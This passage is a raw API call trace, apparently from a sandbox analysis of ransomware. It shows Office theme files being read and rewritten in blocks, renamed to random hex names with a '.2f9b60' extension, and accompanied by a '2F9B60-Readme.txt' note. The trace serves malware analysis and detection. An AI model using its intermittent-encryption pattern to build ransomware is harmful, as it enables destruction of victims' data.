lpFileSize=0x2503fd20 | out: lpFileSize=0x2503fd20*=617159) returned 1 [0089.110] SetFilePointerEx (in: hFile=0xa44, liDistanceToMove=0x96ac3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.110] ReadFile (in: hFile=0xa44, lpBuffer=0x2503fca0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2503fce8, lpOverlapped=0x0 | out: lpBuffer=0x2503fca0*, lpNumberOfBytesRead=0x2503fce8*=0x4, lpOverlapped=0x0) returned 1 [0089.112] SetFilePointerEx (in: hFile=0xa44, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.112] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a0c0 [0089.113] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859e50 [0089.113] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a1e0 [0089.113] NtQuerySystemTime (in: CurrentTime=0x2503fbe0 | out: CurrentTime=0x2503fbe0*=132462176949802000) returned 0x0 [0089.113] RtlRandomEx (in: Seed=0x2503fbd0 | out: Seed=0x2503fbd0) returned 0x6605a19a [0089.113] RtlRandomEx (in: Seed=0x2503fbd0 | out: Seed=0x2503fbd0) returned 0x2d6148f8 [0089.113] RtlRandomEx (in: Seed=0x2503fbd0 | out: Seed=0x2503fbd0) returned 0x5f643656 [0089.113] RtlRandomEx (in: Seed=0x2503fbd0 | out: Seed=0x2503fbd0) returned 0x1ad806a2 [0089.113] RtlRandomEx (in: Seed=0x2503fbd0 | out: Seed=0x2503fbd0) returned 0x48332c04 [0089.113] RtlRandomEx (in: Seed=0x2503fbd0 | out: Seed=0x2503fbd0) returned 0x40367609 [0089.113] RtlRandomEx (in: Seed=0x2503fbd0 | out: Seed=0x2503fbd0) returned 0x6c6bf800 [0089.113] RtlRandomEx (in: Seed=0x2503fbd0 | out: Seed=0x2503fbd0) returned 0x3edb9a95 [0089.113] RtlRandomEx (in: Seed=0x2503fbd0 | out: Seed=0x2503fbd0) returned 0x32483d5b [0089.113] RtlRandomEx (in: Seed=0x2503fbd0 | out: Seed=0x2503fbd0) returned 0x60688fb4 [0089.113] RtlRandomEx (in: Seed=0x2503fbd0 | out: Seed=0x2503fbd0) returned 0x6714a05d [0089.113] RtlRandomEx (in: Seed=0x2503fbd0 | out: Seed=0x2503fbd0) returned 0x539aa2e1 [0089.113] RtlRandomEx (in: Seed=0x2503fbd0 | out: Seed=0x2503fbd0) returned 0x2256f69d [0089.113] RtlRandomEx (in: Seed=0x2503fbd0 | out: Seed=0x2503fbd0) returned 0x2b6caf3f [0089.114] RtlRandomEx (in: Seed=0x2503fbd0 | out: Seed=0x2503fbd0) returned 0xe4aea45 [0089.114] RtlRandomEx (in: Seed=0x2503fbd0 | out: Seed=0x2503fbd0) returned 0x42cb6a8f [0089.114] RtlRandomEx (in: Seed=0x2503fbd0 | out: Seed=0x2503fbd0) returned 0x39fe1579 [0089.114] RtlRandomEx (in: Seed=0x2503fbd0 | out: Seed=0x2503fbd0) returned 0x65913d45 [0089.114] RtlRandomEx (in: Seed=0x2503fbd0 | out: Seed=0x2503fbd0) returned 0x7ee9d428 [0089.114] RtlRandomEx (in: Seed=0x2503fbd0 | out: Seed=0x2503fbd0) returned 0x39849722 [0089.114] RtlRandomEx (in: Seed=0x2503fbd0 | out: Seed=0x2503fbd0) returned 0x3811d8ff [0089.114] RtlRandomEx (in: Seed=0x2503fbd0 | out: Seed=0x2503fbd0) returned 0x28e5c3f8 [0089.114] RtlRandomEx (in: Seed=0x2503fbd0 | out: Seed=0x2503fbd0) returned 0x32298a34 [0089.114] RtlRandomEx (in: Seed=0x2503fbd0 | out: Seed=0x2503fbd0) returned 0x41167235 [0089.114] RtlRandomEx (in: Seed=0x2503fbd0 | out: Seed=0x2503fbd0) returned 0x76b5a3b5 [0089.114] RtlRandomEx (in: Seed=0x2503fbd0 | out: Seed=0x2503fbd0) returned 0x6bf9bfb0 [0089.114] RtlRandomEx (in: Seed=0x2503fbd0 | out: Seed=0x2503fbd0) returned 0x595795aa [0089.114] RtlRandomEx (in: Seed=0x2503fbd0 | out: Seed=0x2503fbd0) returned 0x65311362 [0089.114] RtlRandomEx (in: Seed=0x2503fbd0 | out: Seed=0x2503fbd0) returned 0x3c075d19 [0089.114] RtlRandomEx (in: Seed=0x2503fbd0 | out: Seed=0x2503fbd0) returned 0x2ab17e8f [0089.114] RtlRandomEx (in: Seed=0x2503fbd0 | out: Seed=0x2503fbd0) returned 0x79144814 [0089.114] RtlRandomEx (in: Seed=0x2503fbd0 | out: Seed=0x2503fbd0) returned 0x3ca243d5 [0089.123] SetFilePointerEx (in: hFile=0xa44, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.123] ReadFile (in: hFile=0xa44, lpBuffer=0x1cea4d30, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2503fc40, lpOverlapped=0x0 | out: lpBuffer=0x1cea4d30*, lpNumberOfBytesRead=0x2503fc40*=0x3c00, lpOverlapped=0x0) returned 1 [0089.127] SetFilePointerEx (in: hFile=0xa44, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.127] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0089.127] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e070 [0089.127] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a1e0 [0089.127] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a1e0) returned 1 [0089.127] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1ceac550 [0089.127] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a1e0 [0089.127] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a210 [0089.127] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a210) returned 1 [0089.127] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e070) returned 1 [0089.127] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0089.127] WriteFile (in: hFile=0xa44, lpBuffer=0x1ceac550*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2503fc40, lpOverlapped=0x0 | out: lpBuffer=0x1ceac550*, lpNumberOfBytesWritten=0x2503fc40*=0x3c00, lpOverlapped=0x0) returned 1 [0089.130] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceac550) returned 1 [0089.130] SetFilePointerEx (in: hFile=0xa44, liDistanceToMove=0x4ec00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.130] ReadFile (in: hFile=0xa44, lpBuffer=0x1cea4d30, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2503fc40, lpOverlapped=0x0 | out: lpBuffer=0x1cea4d30*, lpNumberOfBytesRead=0x2503fc40*=0x3c00, lpOverlapped=0x0) returned 1 [0089.135] SetFilePointerEx (in: hFile=0xa44, liDistanceToMove=0x4ec00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.135] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0089.135] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e070 [0089.135] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a2a0 [0089.135] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a2a0) returned 1 [0089.135] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1ceac550 [0089.135] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a2a0 [0089.135] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a330 [0089.135] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a330) returned 1 [0089.136] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e070) returned 1 [0089.136] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0089.136] WriteFile (in: hFile=0xa44, lpBuffer=0x1ceac550*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2503fc40, lpOverlapped=0x0 | out: lpBuffer=0x1ceac550*, lpNumberOfBytesWritten=0x2503fc40*=0x3c00, lpOverlapped=0x0) returned 1 [0089.138] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceac550) returned 1 [0089.138] SetFilePointerEx (in: hFile=0xa44, liDistanceToMove=0x92ec7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.138] ReadFile (in: hFile=0xa44, lpBuffer=0x1cea4d30, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2503fc40, lpOverlapped=0x0 | out: lpBuffer=0x1cea4d30*, lpNumberOfBytesRead=0x2503fc40*=0x3c00, lpOverlapped=0x0) returned 1 [0089.143] SetFilePointerEx (in: hFile=0xa44, liDistanceToMove=0x92ec7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.143] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0089.143] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e070 [0089.143] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a330 [0089.143] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a330) returned 1 [0089.143] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1ce5d510 [0089.143] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a330 [0089.143] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a120 [0089.143] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a120) returned 1 [0089.143] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e070) returned 1 [0089.143] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0089.143] WriteFile (in: hFile=0xa44, lpBuffer=0x1ce5d510*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2503fc40, lpOverlapped=0x0 | out: lpBuffer=0x1ce5d510*, lpNumberOfBytesWritten=0x2503fc40*=0x3c00, lpOverlapped=0x0) returned 1 [0089.147] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5d510) returned 1 [0089.147] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1b7c1f70 [0089.147] SetFilePointerEx (in: hFile=0xa44, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0089.147] WriteFile (in: hFile=0xa44, lpBuffer=0x133600*, nNumberOfBytesToWrite=0x14e, lpNumberOfBytesWritten=0x2503fcf0, lpOverlapped=0x0 | out: lpBuffer=0x133600*, lpNumberOfBytesWritten=0x2503fcf0*=0x14e, lpOverlapped=0x0) returned 1 [0089.149] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0089.149] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e070 [0089.149] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a2a0 [0089.149] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a2a0) returned 1 [0089.149] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x1b85a2a0 [0089.149] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a330 [0089.149] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a1b0 [0089.149] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a1b0) returned 1 [0089.149] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e070) returned 1 [0089.149] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0089.149] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x39) returned 0x1cd97350 [0089.149] sprintf (in: _Dest=0x1cd97350, _Format="%c%c" | out: _Dest="39") returned 2 [0089.150] sprintf (in: _Dest=0x1cd97352, _Format="%c%c" | out: _Dest="bc") returned 2 [0089.150] sprintf (in: _Dest=0x1cd97354, _Format="%c%c" | out: _Dest="8b") returned 2 [0089.150] sprintf (in: _Dest=0x1cd97356, _Format="%c%c" | out: _Dest="10") returned 2 [0089.150] sprintf (in: _Dest=0x1cd97358, _Format="%c%c" | out: _Dest="7c") returned 2 [0089.150] sprintf (in: _Dest=0x1cd9735a, _Format="%c%c" | out: _Dest="dc") returned 2 [0089.150] sprintf (in: _Dest=0x1cd9735c, _Format="%c%c" | out: _Dest="aa") returned 2 [0089.150] sprintf (in: _Dest=0x1cd9735e, _Format="%c%c" | out: _Dest="a6") returned 2 [0089.150] sprintf (in: _Dest=0x1cd97360, _Format="%c%c" | out: _Dest="c5") returned 2 [0089.150] sprintf (in: _Dest=0x1cd97362, _Format="%c%c" | out: _Dest="fb") returned 2 [0089.150] sprintf (in: _Dest=0x1cd97364, _Format="%c%c" | out: _Dest="02") returned 2 [0089.150] sprintf (in: _Dest=0x1cd97366, _Format="%c%c" | out: _Dest="42") returned 2 [0089.150] sprintf (in: _Dest=0x1cd97368, _Format="%c%c" | out: _Dest="3b") returned 2 [0089.150] sprintf (in: _Dest=0x1cd9736a, _Format="%c%c" | out: _Dest="72") returned 2 [0089.150] sprintf (in: _Dest=0x1cd9736c, _Format="%c%c" | out: _Dest="f9") returned 2 [0089.150] sprintf (in: _Dest=0x1cd9736e, _Format="%c%c" | out: _Dest="c2") returned 2 [0089.150] sprintf (in: _Dest=0x1cd97370, _Format="%c%c" | out: _Dest="55") returned 2 [0089.150] sprintf (in: _Dest=0x1cd97372, _Format="%c%c" | out: _Dest="62") returned 2 [0089.150] sprintf (in: _Dest=0x1cd97374, _Format="%c%c" | out: _Dest="7e") returned 2 [0089.150] sprintf (in: _Dest=0x1cd97376, _Format="%c%c" | out: _Dest="f1") returned 2 [0089.150] sprintf (in: _Dest=0x1cd97378, _Format="%c%c" | out: _Dest="da") returned 2 [0089.150] sprintf (in: _Dest=0x1cd9737a, _Format="%c%c" | out: _Dest="69") returned 2 [0089.150] sprintf (in: _Dest=0x1cd9737c, _Format="%c%c" | out: _Dest="57") returned 2 [0089.150] sprintf (in: _Dest=0x1cd9737e, _Format="%c%c" | out: _Dest="0f") returned 2 [0089.150] sprintf (in: _Dest=0x1cd97380, _Format="%c%c" | out: _Dest="ec") returned 2 [0089.150] sprintf (in: _Dest=0x1cd97382, _Format="%c%c" | out: _Dest="f1") returned 2 [0089.150] sprintf (in: _Dest=0x1cd97384, _Format="%c%c" | out: _Dest="94") returned 2 [0089.150] sprintf (in: _Dest=0x1cd97386, _Format="%c%c" | out: _Dest="9c") returned 2 [0089.151] RtlInitAnsiString (in: DestinationString=0x2503fd68, SourceString="39bc8b107cdcaaa6c5fb02423b72f9c255627ef1da69570fecf1949c" | out: DestinationString="39bc8b107cdcaaa6c5fb02423b72f9c255627ef1da69570fecf1949c") [0089.151] RtlAnsiStringToUnicodeString (in: DestinationString=0x2503fd38, SourceString="39bc8b107cdcaaa6c5fb02423b72f9c255627ef1da69570fecf1949c", AllocateDestinationString=1 | out: DestinationString="39bc8b107cdcaaa6c5fb02423b72f9c255627ef1da69570fecf1949c") returned 0x0 [0089.151] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x1b79dff0 [0089.151] wcscat (in: _Dest=0x1b7add40, _Source="39bc8b107cdcaa" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\39bc8b107cdcaa") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\39bc8b107cdcaa" [0089.151] wcscat (in: _Dest=0x1b7add40, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\39bc8b107cdcaa.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\39bc8b107cdcaa.2f9b60" [0089.151] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\39bc8b107cdcaa.2f9b60", NtPathName=0x2503fd10, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\39bc8b107cdcaa.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0089.151] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb4) returned 0x106f40 [0089.154] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x106f40) returned 1 [0089.154] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x173400) returned 1 [0089.154] NtQueryInformationFile (in: FileHandle=0xa44, IoStatusBlock=0x2503fd78, FileInformation=0x2503fd88, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2503fd78, FileInformation=0x2503fd88) returned 0x0 [0089.154] NtSetInformationFile (FileHandle=0xa44, IoStatusBlock=0x2503fd78, FileInformation=0x2503fd88, Length=0x28, FileInformationClass=0x4) returned 0x0 [0089.156] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7add40) returned 1 [0089.156] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dff0) returned 1 [0089.156] FlushFileBuffers (hFile=0xa44) returned 1 [0089.157] CloseHandle (hObject=0xa44) returned 1 [0089.158] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x1b7add40 [0089.158] wcscpy (in: _Dest=0x1b7add40, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" [0089.158] wcscat (in: _Dest=0x1b7add40, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\2F9B60-Readme.txt" [0089.159] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\document themes 14\\2f9b60-readme.txt")) returned 0x20 [0089.159] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7add40) returned 1 [0089.159] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85b760) returned 1 Thread: id = 347 os_tid = 0xe9c [0089.139] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Opulent.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\opulent.thmx")) returned 0x20 [0089.167] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Opulent.thmx", dwFileAttributes=0x20) returned 1 [0089.167] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Opulent.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\opulent.thmx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xa44 [0089.167] GetFileSizeEx (in: hFile=0xa44, lpFileSize=0x2546f8c0 | out: lpFileSize=0x2546f8c0*=78521) returned 1 [0089.167] SetFilePointerEx (in: hFile=0xa44, liDistanceToMove=0x132b5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.168] ReadFile (in: hFile=0xa44, lpBuffer=0x2546f840, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2546f888, lpOverlapped=0x0 | out: lpBuffer=0x2546f840*, lpNumberOfBytesRead=0x2546f888*=0x4, lpOverlapped=0x0) returned 1 [0089.178] SetFilePointerEx (in: hFile=0xa44, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.178] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a3c0 [0089.178] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859e80 [0089.178] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a1e0 [0089.178] NtQuerySystemTime (in: CurrentTime=0x2546f780 | out: CurrentTime=0x2546f780*=132462176950426000) returned 0x0 [0089.178] RtlRandomEx (in: Seed=0x2546f770 | out: Seed=0x2546f770) returned 0x615d2d97 [0089.178] RtlRandomEx (in: Seed=0x2546f770 | out: Seed=0x2546f770) returned 0x5206afd1 [0089.178] RtlRandomEx (in: Seed=0x2546f770 | out: Seed=0x2546f770) returned 0x58cb59ec [0089.178] RtlRandomEx (in: Seed=0x2546f770 | out: Seed=0x2546f770) returned 0x756593d7 [0089.178] RtlRandomEx (in: Seed=0x2546f770 | out: Seed=0x2546f770) returned 0x491543cd [0089.178] RtlRandomEx (in: Seed=0x2546f770 | out: Seed=0x2546f770) returned 0x6ec6eb2a [0089.179] RtlRandomEx (in: Seed=0x2546f770 | out: Seed=0x2546f770) returned 0x5ab1b798 [0089.179] RtlRandomEx (in: Seed=0x2546f770 | out: Seed=0x2546f770) returned 0x2a31a889 [0089.179] RtlRandomEx (in: Seed=0x2546f770 | out: Seed=0x2546f770) returned 0x7d929717 [0089.179] RtlRandomEx (in: Seed=0x2546f770 | out: Seed=0x2546f770) returned 0x5fe66305 [0089.179] RtlRandomEx (in: Seed=0x2546f770 | out: Seed=0x2546f770) returned 0x98dda0f [0089.179] RtlRandomEx (in: Seed=0x2546f770 | out: Seed=0x2546f770) returned 0x5e845957 [0089.179] RtlRandomEx (in: Seed=0x2546f770 | out: Seed=0x2546f770) returned 0x2872830b [0089.179] RtlRandomEx (in: Seed=0x2546f770 | out: Seed=0x2546f770) returned 0x299b3352 [0089.179] RtlRandomEx (in: Seed=0x2546f770 | out: Seed=0x2546f770) returned 0xc8c23af [0089.179] RtlRandomEx (in: Seed=0x2546f770 | out: Seed=0x2546f770) returned 0x7951d837 [0089.179] RtlRandomEx (in: Seed=0x2546f770 | out: Seed=0x2546f770) returned 0x6c66e771 [0089.179] RtlRandomEx (in: Seed=0x2546f770 | out: Seed=0x2546f770) returned 0x6c6ca7f5 [0089.179] RtlRandomEx (in: Seed=0x2546f770 | out: Seed=0x2546f770) returned 0x6d490ebf [0089.179] RtlRandomEx (in: Seed=0x2546f770 | out: Seed=0x2546f770) returned 0x41b3ad1f [0089.179] RtlRandomEx (in: Seed=0x2546f770 | out: Seed=0x2546f770) returned 0x29ea1d56 [0089.179] RtlRandomEx (in: Seed=0x2546f770 | out: Seed=0x2546f770) returned 0x57a7b560 [0089.179] RtlRandomEx (in: Seed=0x2546f770 | out: Seed=0x2546f770) returned 0x7a2550f6 [0089.179] RtlRandomEx (in: Seed=0x2546f770 | out: Seed=0x2546f770) returned 0x78311a72 [0089.179] RtlRandomEx (in: Seed=0x2546f770 | out: Seed=0x2546f770) returned 0x237a8862 [0089.179] RtlRandomEx (in: Seed=0x2546f770 | out: Seed=0x2546f770) returned 0x882261c [0089.179] RtlRandomEx (in: Seed=0x2546f770 | out: Seed=0x2546f770) returned 0x74c935aa [0089.179] RtlRandomEx (in: Seed=0x2546f770 | out: Seed=0x2546f770) returned 0x76a898b4 [0089.179] RtlRandomEx (in: Seed=0x2546f770 | out: Seed=0x2546f770) returned 0x2772cb18 [0089.179] RtlRandomEx (in: Seed=0x2546f770 | out: Seed=0x2546f770) returned 0x4397ed9 [0089.179] RtlRandomEx (in: Seed=0x2546f770 | out: Seed=0x2546f770) returned 0x1ff087dd [0089.179] RtlRandomEx (in: Seed=0x2546f770 | out: Seed=0x2546f770) returned 0xf2fb6a6 [0089.188] SetFilePointerEx (in: hFile=0xa44, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.188] ReadFile (in: hFile=0xa44, lpBuffer=0x1cea4d30, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2546f7e0, lpOverlapped=0x0 | out: lpBuffer=0x1cea4d30*, lpNumberOfBytesRead=0x2546f7e0*=0x3c00, lpOverlapped=0x0) returned 1 [0089.191] SetFilePointerEx (in: hFile=0xa44, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.191] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0089.192] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79dff0 [0089.192] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a1e0 [0089.192] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a1e0) returned 1 [0089.192] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1ceac550 [0089.192] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a1e0 [0089.192] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a1b0 [0089.192] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a1b0) returned 1 [0089.192] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dff0) returned 1 [0089.192] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0089.192] WriteFile (in: hFile=0xa44, lpBuffer=0x1ceac550*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2546f7e0, lpOverlapped=0x0 | out: lpBuffer=0x1ceac550*, lpNumberOfBytesWritten=0x2546f7e0*=0x3c00, lpOverlapped=0x0) returned 1 [0089.195] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceac550) returned 1 [0089.195] SetFilePointerEx (in: hFile=0xa44, liDistanceToMove=0xb400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.195] ReadFile (in: hFile=0xa44, lpBuffer=0x1cea4d30, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2546f7e0, lpOverlapped=0x0 | out: lpBuffer=0x1cea4d30*, lpNumberOfBytesRead=0x2546f7e0*=0x3c00, lpOverlapped=0x0) returned 1 [0089.200] SetFilePointerEx (in: hFile=0xa44, liDistanceToMove=0xb400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.200] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0089.200] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79dff0 [0089.200] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a300 [0089.200] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a300) returned 1 [0089.201] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1ceac550 [0089.201] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a300 [0089.201] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a360 [0089.201] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a360) returned 1 [0089.201] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dff0) returned 1 [0089.201] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0089.201] WriteFile (in: hFile=0xa44, lpBuffer=0x1ceac550*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2546f7e0, lpOverlapped=0x0 | out: lpBuffer=0x1ceac550*, lpNumberOfBytesWritten=0x2546f7e0*=0x3c00, lpOverlapped=0x0) returned 1 [0089.204] RtlFreeHeap 